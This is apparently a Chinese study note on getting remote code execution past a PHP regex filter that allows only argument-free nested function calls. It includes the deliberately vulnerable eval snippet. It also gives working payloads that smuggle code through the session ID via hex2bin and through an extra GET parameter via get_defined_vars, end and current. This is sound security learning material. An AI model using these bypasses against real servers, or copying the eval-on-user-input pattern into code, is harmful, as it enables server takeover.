php中无参函数的RCE
学习一下php中无符号的问题。
1.无参数
<?php if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']); } else { show_source(__FILE__); } ?>
这里调用函数只能是code(a()) 也就是括号中不能含有参数。
http-header传参
在session_id中设置我们想要输入的RCE,达到传参的目的,但是第一点需要session_start()开启session会话。
payload:code=eval(hex2bin(session_id(session_start())));
hex("phpinfo();")=706870696e666f28293b
可以成功命令执行。
第二种:post/get传入参数
get_defined_vars ( void ) : array 返回由所有已定义变量所组成的数组
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
payload:?code=var_dump(get_defined_vars())&b=1;
变量b和code都在参数中,如何将b带出来用它执行poc
current ( array &$array ) : mixed 返回数组中的当前单元
每个数组中都有一个内部的指针指向它“当前的”单元,初始指向插入到数组中的第一个单元。
这样可以提取b中的内容了
利用eval和上面的函数可以达到RCE的效果
http://192.168.1.103/test/test.php?code=eval(end(current(get_defined_vars())));&b=phpinfo();